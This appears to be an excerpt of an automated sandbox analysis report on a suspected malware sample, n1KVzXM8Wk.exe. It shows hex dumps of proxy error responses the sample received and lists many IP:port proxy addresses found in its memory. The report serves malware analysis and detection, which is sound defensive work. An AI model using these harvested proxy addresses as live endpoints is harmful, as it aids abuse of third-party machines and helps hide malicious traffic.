20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:32 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.10Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:32 GMTContent-Type: text/html;charset=utf-8Content-Length: 3705X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.10Mime-Version: 1.0Date: Fri, 23 Feb 2024 09:09:22 GMTContent-Type: text/html;charset=utf-8Content-Length: 3747X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 61 20 69 6d 67 7b 0a 09 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 0a 7d 0a 0a 74 74 20 7b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 44 32 44 34 37 3b 0a 7d 0a 0a 62 6f 64 79 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 73 75 70 70 6f 72 74 2e 6f 6c 66 65 6f 2e 63 6f 6d 2f 73 69 74 65 73 2f 6f 6c 66 65 6f 2f 66 69 6c 65 73 2f 66 6f 75 6e 64 61 74 69 6f 6e 5f 6c 6f 67 6f 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 23 63 6f 6e 74 65 6e 74 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 73 74 61 63 6b 3b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.3.8Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:33 GMTContent-Type: text/htmlContent-Length: 3485X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:33 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailablecontent-length: 18content-type: text/plaindate: Fri, 23 Feb 2024 08:25:43 GMTserver: svcproxyconnection: closeData Raw: 44 4e 53 20 63 61 63 68 65 20 6f 76 65 72 66 6c 6f 77 Data Ascii: DNS cache overflow
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-3</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-3</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.27Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:45:52 GMTContent-Type: text/html;charset=utf-8Content-Length: 3725X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.5.20Mime-Version: 1.0Date: Fri, 23 Feb 2024 08:46:00 GMTContent-Type: text/html;charset=utf-8Content-Length: 3745X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.0.0.0
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.0.0.0://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.0.0.0:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.0.84
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.0.84://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.0.84:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.170.50
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.170.50://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.0.170.50:80
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998A88000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199882C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.1.109.141:9999
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199882C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.1.109.141:9999://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199994A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.10.170.225:4145
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.10.170.225:4145://proxyx
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119940B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.15.62.12:5678
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119940B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.15.62.12:5678://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119985A8000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.148.9:55636
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011997146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.148.9:55636://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998324000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.172.45:31225
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199837F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.172.45:31225://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011998B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.194.137:4153
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.179.194.137:4153://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199443A000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.000001199412E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.2.252.65:8080
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.2.252.65:8080://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.20.137.82:32241
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011994246000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.20.137.82:32241://proxy
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119999E4000.00000004.00000800.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2081033615.00000119994D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1.20.184.75:4153
